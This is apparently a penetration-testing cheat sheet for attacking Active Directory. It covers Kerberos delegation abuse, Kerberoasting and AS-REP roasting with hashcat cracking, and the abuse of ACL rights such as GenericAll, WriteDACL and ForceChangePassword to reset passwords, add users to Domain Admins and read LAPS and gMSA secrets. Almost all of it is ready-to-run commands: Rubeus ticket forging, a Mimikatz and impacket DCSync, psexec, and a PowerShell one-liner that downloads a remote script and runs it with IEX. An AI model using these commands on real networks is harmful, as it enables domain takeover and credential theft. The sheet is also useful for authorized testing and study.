Delegations
Unconstrained Delegation
It can only be executed once, as afterwards the Kerberos authentication channel between the DC and the attacking machine remains open.
To run it again, the unconstrained machine (not DC) must be restarted to break the open authentication channel:
shutdown /r /t 0
Method 1
- Obtain a shell as
NT AUTHORITY\SYSTEM
on the Unconstrained delegation machine - Start
Rubeus
in monitor mode:Rubeus.exe monitor /nowrap /interval:1 /filteruser:DC
- Trigger the connection:
- Execute
SpoolSample
as a domain user:SpoolSample.exe dc03.infinity.com web05.infinity.com
- Execute
SpoolSample
from PowerShell as a domain user: `(new-object system.net.webclient).downloadstring('http://192.168.45.158/Invoke-Spoolsample.ps1') | IEX; Invoke-Spoolsample -Command "dc03.infinity.com web05.infinity.com" - Execute on Kali as a domain user:
python3 printerbugpy '<USERNAME>:<PASSWORD>@dc03.infinity.com' web05.infinity.com
- Execute
- Use the ticket:
- With Rubeus and Mimikatz:
- Import the ticket:
Rubeus.exe ptt /ticket:doIFIjCCBR6gAwIBBaEDAgEWo...
- Perform a DCSync:
.\mimikatz.exe "lsadump::dcsync /domain:infinity.com /all" "exit"
- Import the ticket:
- With Kali:
- Decode the ticket:
echo "doIFDDCCBQigAwIBB...ndBsMSU5GSU5JVFkuQ09N" | base64 -d > DC03@INFINITY.COM.kirbi
- Convert the ticket:
impacket-ticketConverter DC03@INFINITY.COM.kirbi DC03@INFINITY.COM.ccache
- Load it:
export KRB5CCNAME=DC03@INFINITY.COM.ccache
- Configure Kerberos: See below
- Request a service ticket:
kvno ldap/dc03.infinity.com
- Perform a DCSync:
impacket-secretsdump -k -no-pass dc03.infinity.com
- Decode the ticket:
- With Rubeus and Mimikatz:
└─$ cat /etc/krb5.conf
[libdefaults]
default_realm = INFINITY.COM
dns_lookup_realm = false
dns_lookup_kdc = false
[realms]
INFINITY.COM = {
kdc = dc03.infinity.com
}
[domain_realm]
.infinity.com = INFINITY.COM
infinity.com = INFINITY.COM
Method 2 (With an existing privileged ticket)
- Execute Rubeus to export the tickets:
.\Rubeus.exe dump /nowrap /cred > tickets.txt
- Extract the tickets to
.kirbi
files:$tiketsFileName="tickets.txt"; $i=0;$service="";$lines=Get-Content $tiketsFileName;for ($n=0;$n -lt $lines.Count;$n++) { if ($lines[$n] -match "^\s*ServiceName\s+:\s+(.*)") { $service = $matches[1] -replace '[^\w\-\.]', '_' } elseif ($lines[$n] -match "^\s*Base64EncodedTicket\s+:") { $i++; $b64 = $lines[$n+2].Trim(); $encodingArg = if ([int](Get-Host).Version.Major -gt 5) {@{AsByteStream = $true}} else {@{Encoding = "Byte"}}; $binary = [Convert]::FromBase64String($b64); Set-Content -Path "ticket_${i}_$($service).kirbi" -Value $binary @encodingArg }}
- Inject the desired ticket:
.\Rubeus.exe ptt /ticket:"C:\Tools\CLIENT__cifs_cdc01.prod.corp1.com.kirbi"
Constrained Delegation
Windows
- Request a TGT ticket (if one is not already available):
Rubeus.exe asktgt /user:iissvc /domain:prod.corp1.com /rc4:2892D26CDF84D7A70E2EB3B9F05C425E
-
- Using a User and Password (or Hash):
- Get the password NTLM hash:
Rubeus.exe hash /password:h4x
- Inject a new TGT ticket:
Rubeus.exe s4u /user:iissvc /domain:prod.corp1.com /rc4:2892D26CDF84D7A70E2EB3B9F05C425E /impersonateuser:administrator /msdsspn:mssqlsvc/cdc01.prod.corp1.com:1433 /ptt
- Get the password NTLM hash:
- Using ticket:
- Inject a new TGT ticket:
Rubeus.exe s4u /ticket:doIE+jCCBP... /impersonateuser:administrator /msdsspn:mssqlsvc/cdc01.prod.corp1.com:1433 /ptt
- Inject a new TGT ticket:
- Using a User and Password (or Hash):
- Check using:
klist
- The target service can be supplanted by adding
/altservice:CIFS
:Rubeus.exe s4u /ticket:doIE+jCCBP... /impersonateuser:administrator /msdsspn:mssqlsvc/cdc01.prod.corp1.com:1433 /altservice:CIFS /ptt
.
Linux
- Request a Service Ticket:
impacket-getST -spn 'cifs/FILE02' -impersonate 'Administrator' 'cowmotors.com/svc_file:August25' 2>/dev/null
- Load the new ticket:
export KRB5CCNAME=Administrator@cifs_FILE02@COWMOTORS.COM.ccache
- Use the ticket:
impacket-psexec 'Administrator@FILE02' -k -no-pass
Resource-Based Constrained Delegation (RBCD)
Any attack against RBCD needs to happen from a computer account or a service account with a SPN.
- Create a new machine (Powermad):
New-MachineAccount -MachineAccount attackerComputer -Password $(ConvertTo-SecureString 'SecurePassword123!' -AsPlainText -Force)
- Check the machine creation:
Get-DomainComputer -Identity attackerComputer
- Set the SID variable:
$sid =Get-DomainComputer -Identity attackerComputer -Properties objectsid | Select -Expand objectsid
- Set the Security Descriptor variable:
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($sid))"
- Convert the Security Descriptor to Bytes:
$SDbytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDbytes,0)
- Set the
msds-allowedtoactonbehalfofotheridentity
property to the target machine:Get-DomainComputer -Identity appsrv01 | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
- Check the property assignation:
$RBCDbytes = Get-DomainComputer appsrv01 -Properties 'msds-allowedtoactonbehalfofotheridentity' | select -expand msds-allowedtoactonbehalfofotheridentity
$Descriptor = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $RBCDbytes, 0
$Descriptor.DiscretionaryAcl
ConvertFrom-SID S-1-5-21-3776646582-2086779273-4091361643-2101
-
- Using a User and Password (or Hash):
- Get the password NTLM hash:
Rubeus.exe hash /password:SecurePassword123!
- Inject a new TGT ticket:
Rubeus.exe s4u /user:attackerComputer$ /rc4:AA6EAFB522589934A6E5CE92C6438221 /impersonateuser:administrator /msdsspn:CIFS/appsrv01.prod.corp1.com /ptt
- Get the password NTLM hash:
- Using a ticket:
- Inject a new TGT ticket:
Rubeus.exe s4u /ticket:doIE+jCCBP... /impersonateuser:administrator /msdsspn:CIFS/appsrv01.prod.corp1.com /ptt
- Inject a new TGT ticket:
- Using a User and Password (or Hash):
Kerberos
Kerberoasting
Windows
.\Rubeus.exe kerberoast /outfile:hashes.kerberoast
Linux
- Anonymous:
impacket-GetUserSPNs -dc-ip <DC_IP> -request [-usersfile <usernames.txt>] -outputfile hashes.kerberoast <DOMAIN>/
- Authenticated:
impacket-GetUserSPNs -dc-ip <DC_IP> -request -outputfile hashes.kerberoast <DOMAIN>/<USERNAME>
Cracking
hashcat -m 13100 hashes.kerberoast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
AS-REP Roasting
Windows
.\Rubeus.exe asreproast /nowrap /outfile:hashes.asreproast
Linux
- Anonymous:
impacket-GetNPUsers -dc-ip <DC_IP> -request [-usersfile <usernames.txt>] -outputfile hashes.asreproast <DOMAIN>/
- Authenticated:
impacket-GetNPUsers -dc-ip <DC_IP> -request -outputfile hashes.asreproast <DOMAIN>/<USERNAME>
Cracking
hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
ACLs
GenericAll
User over a Group
Windows
net group "Domain Admins" "<TARGET USER>" /ADD /DOMAIN
Linux
net rpc group addmem 'Domain Admins' '<TARGET USER>' -U '<DOMAIN>'/'<USERNAME>'%'<PASSWORD>' -S '[<DC IP>|<DOMAIN>]'
bloodyAD --host '<DC IP>' -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' add groupMember 'Domain Admins' '<TARGET USER>'
User over a User
Windows
- Powerview:
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('<DOMAIN>\<TARGET USER>', $SecPassword)
- Powershell:
$NewPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity '<TARGET USER>' -AccountPassword $NewPassword
Linux
net rpc password '<TARGET USER>' '<NEW PASSWORD>' -U '<DOMAIN>'/'<USERNAME>'%'<PASSWORD>' -S '[<DC IP>|<DOMAIN>]
bloodyAD --host '<DC IP>' -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' set password '<TARGET USER>' 'Password123!'
User over a Computer
Windows
- Powerview:
Get-DomainComputer -Identity '<TARGET COMPUTER>'
Add-DomainObjectAcl -TargetIdentity '<TARGET COMPUTER>' -Rights All -PrincipalIdentity '<USERNAME>'
- PSRemote:
Invoke-Command -ComputerName '<TARGET COMPUTER>' -ScriptBlock { whoami } -Credential $Cred
Linux
winrm -hostname <TARGET COMPUTER> -username <USERNAME> -password <PASSWORD> --command 'whoami'
impacket-psexec <DOMAIN>/<USERNAME>:<PASSWORD>@<TARGET COMPUTER> cmd.exe
GenericWrite
User over a Group
Windows
- Powerview:
$GroupSID = (Get-DomainGroup -Identity 'Domain Admins').objectsid
Add-DomainObjectAcl -TargetIdentity '<TARGET USER>' -Rights WriteProperty -PrincipalIdentity '<USERNAME>' -Verbose
Add-DomainGroupMember -Identity 'Domain Admins' -Members '<TARGET USER>'
Linux
rpcclient -U '<DOMAIN>/<USERNAME>%<PASSWORD>' <DC IP> -c 'add_aliasmem domain-admins <TARGET USER>'
bloodyAD --host '<DC IP>' -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' add groupMember 'Domain Admins' '<TARGET USER>'
User over a User
Windows
- Powerview:
Set-DomainUser -Identity '<TARGET USER>' -Description 'Owned by <USERNAME>'
Add-DomainObjectAcl -TargetIdentity '<TARGET USER>' -Rights WriteProperty -PrincipalIdentity '<USERNAME>'
- Powershell:
Set-ADUser -Identity '<TARGET USER>' -Description 'Owned by attacker'
Linux
bloodhound-python -c GenericWrite --target '<TARGET USER DN>' --user '<USERNAME>'
bloodyAD --host '<DC IP>' -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' set description '<TARGET USER>' 'Owned by attacker'
User over a Computer
Windows
- Powerview:
Set-DomainObject -Identity '<TARGET COMPUTER>' -Description 'Owned'
Add-DomainObjectAcl -TargetIdentity '<TARGET COMPUTER>' -Rights WriteProperty -PrincipalIdentity '<USERNAME>'
Linux
impacket-secretsdump <DOMAIN>/<USERNAME>:<PASSWORD>@<TARGET COMPUTER>
crackmapexec smb <TARGET COMPUTER> -u <USERNAME> -p <PASSWORD> --sam
WriteDACL
User over a Group
Windows
- Powerview:
$SD = Get-DomainObjectAcl -TargetIdentity 'Domain Admins' -ResolveGUIDs
Add-DomainObjectAcl -TargetIdentity 'Domain Admins' -Rights All -PrincipalIdentity '<TARGET USER>'
Linux
impacket-addcomputer -computer-name 'HackerMachine' -computer-pass 'Password123!' -dc-ip <DC IP> -domain <DOMAIN> -username <USERNAME> -password <PASSWORD>
bloodhound-python -c WriteDACL --target 'CN=Domain Admins,CN=Users,DC=domain,DC=local' --sid S-1-5-21-XXXXX --user '<TARGET USER>'
User over a User
Windows
- Powerview:
Add-DomainObjectAcl -TargetIdentity '<TARGET USER>' -Rights All -PrincipalIdentity '<USERNAME>'
Set-DomainUserPassword -Identity '<TARGET USER>' -AccountPassword (ConvertTo-SecureString 'Password123!' -AsPlainText -Force)
- Manual:
dsacls "CN=<TARGET USER>,CN=Users,DC=domain,DC=local" /takeownership
dsacls "CN=<TARGET USER>,CN=Users,DC=domain,DC=local" /G <USERNAME>:GA
Linux
bloodyAD --host <DC IP> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> set owner '<TARGET USER DN>' '<USERNAME>'
bloodhound-python -c WriteDACL --target '<TARGET USER DN>' --sid '<SID>' --user '<USERNAME>'
User over a Computer
Windows
- Powerview:
Add-DomainObjectAcl -TargetIdentity '<TARGET COMPUTER>' -Rights All -PrincipalIdentity '<USERNAME>'
Invoke-Command -ComputerName '<TARGET COMPUTER>' -ScriptBlock {whoami} -Credential $Cred
Linux
bloodhound-python -c WriteDACL --target '<COMPUTER DN>' --sid '<SID>' --user '<USERNAME>'
bloodyAD --host <DC IP> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> set owner '<COMPUTER DN>' '<USERNAME>'
WriteOwner
User over a Group
Windows
- Powerview:
$Sid = (Get-DomainUser -Identity '<TARGET USER>').ObjectSid
Set-DomainObjectOwner -TargetIdentity 'Domain Admins' -OwnerIdentity '<TARGET USER>'
- Powershell:
dsacls "CN=Domain Admins,CN=Users,DC=domain,DC=local" /takeownership
dsacls "CN=Domain Admins,CN=Users,DC=domain,DC=local" /G <TARGET USER>:GA
Linux
bloodyAD --host <DC IP> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> set owner 'CN=Domain Admins,CN=Users,DC=domain,DC=local' '<TARGET USER>'
User over a User
Windows
- Powerview:
Set-DomainObjectOwner -TargetIdentity '<TARGET USER>' -OwnerIdentity '<USERNAME>'
- Manual:
dsacls "CN=<TARGET USER>,CN=Users,DC=domain,DC=local" /takeownership
dsacls "CN=<TARGET USER>,CN=Users,DC=domain,DC=local" /G <USERNAME>:GA
Linux
bloodyAD --host <DC IP> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> set owner '<TARGET USER DN>' '<USERNAME>'
User over a Computer
Windows
- Powerview:
Set-DomainObjectOwner -TargetIdentity '<TARGET COMPUTER>' -OwnerIdentity '<USERNAME>'
- Manual:
dsacls "CN=<TARGET COMPUTER>,CN=Computers,DC=domain,DC=local" /takeownership
dsacls "CN=<TARGET COMPUTER>,CN=Computers,DC=domain,DC=local" /G <USERNAME>:GA
Linux
bloodyAD --host <DC IP> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> set owner '<COMPUTER DN>' '<USERNAME>'
ForceChangePassword
User over a User
Windows
- Powerview:
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity '<TARGET USER>' -AccountPassword $SecPassword
- Powershell:
net user <TARGET USER> Password123! /domain
Linux
net rpc password <TARGET USER> 'Password123!' -U '<DOMAIN>/<USERNAME>'%'<PASSWORD>' -S <DC IP>
bloodyAD --host <DC IP> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> set password '<TARGET USER>' 'Password123!'
AllExtendedRights
User over a User
Windows
- Powerview:
$NewPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity '<TARGET USER>' -AccountPassword $NewPassword
- Powershell:
net user <TARGET USER> Password123! /domain
Linux
net rpc password <TARGET USER> 'Password123!' -U '<DOMAIN>/<USERNAME>'%'<PASSWORD>' -S <DC IP>
bloodyAD --host <DC IP> -d <DOMAIN> -u <USERNAME> -p <PASSWORD> set password '<TARGET USER>' 'Password123!'
ReadLAPSPassword
User over a Computer
Windows
- Powerview:
Get-AdmPwdPassword -ComputerName <COMPUTER>
Get-ADComputer -Filter * -Properties ms-Mcs-AdmPwd | Select-Object Name, 'ms-Mcs-AdmPwd'
- Powershell:
Get-LapsAADPassword -DeviceIds <COMPUTER> -IncludePasswords -AsPlainText
Linux
netexec ldap <DC IP> -u <USERNAME> -p <PASSWORD> --laps
bloodhound-python -c laps --dc <DC IP> -u <USERNAME> -p <PASSWORD> -d <DOMAIN>
ReadGMSAPassword
Computer over a User/Computer
Windows
- DSInternals:
$gmsa = Get-ADServiceAccount -Identity '<TARGET_USER/COMPUTER>' -Properties 'msDS-ManagedPassword'
$mp = $gmsa.'msDS-ManagedPassword'
ConvertFrom-ADManagedPasswordBlob $mp
(ConvertFrom-ADManagedPasswordBlob $mp).SecureCurrentPassword | ConvertTo-NTHash
$cred = new-object system.management.automation.PSCredential "<DOMAIN>\<TARGET_USER/COMPUTER>",(ConvertFrom-ADManagedPasswordBlob $mp).SecureCurrentPassword
- Manual:
- GMSAPasswordReader:
GMSAPasswordReader.exe --AccountName '<TARGET_USER/COMPUTER>'
- GMSAPasswordReader:
Linux
- gMSADumper
gMSADumper.py -u '<USERNAME>' -p '<PASSWORD>' -d '<DOMAIN>'
bloodyAD --host '<COMPUTER>' -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' get object 'CN=gmsa_account,CN=Managed Service Accounts,DC=example,DC=local' --attr msDS-ManagedPassword
WriteAccountRestrictions
User over a Computer
Windows
- Powerview:
- Enable
Unconstrained Delegation
:Set-DomainObject -Identity '<TARGET>' -XOR @{'userAccountControl'=0x80000}
- Perform a Unconstrained delegation attack
- Enable
Constrained Delegation
:Set-DomainObject -Identity '<TARGET>' -Set @{'msDS-AllowedToDelegateTo'='<TARGET_SPN (ej: HTTP/webserver.lab.local)>'}
- Perform a Constrained delegation attack
- Enable
Linux
- Enable
Unconstrained Delegation
:bloodyAD --host '<DC_IP>' -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' set user '<TARGET>' --UserAccountControl TRUSTED_FOR_DELEGATION
- Perform a Unconstrained delegation attack
- Enable
Constrained Delegation
:bloodyAD --host '<DC_IP>' -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' set user '<TARGET>' --msDS-AllowedToDelegateTo '<TARGET_SPN (ej: HTTP/webserver.lab.local)>'
- Perform a Constrained delegation attack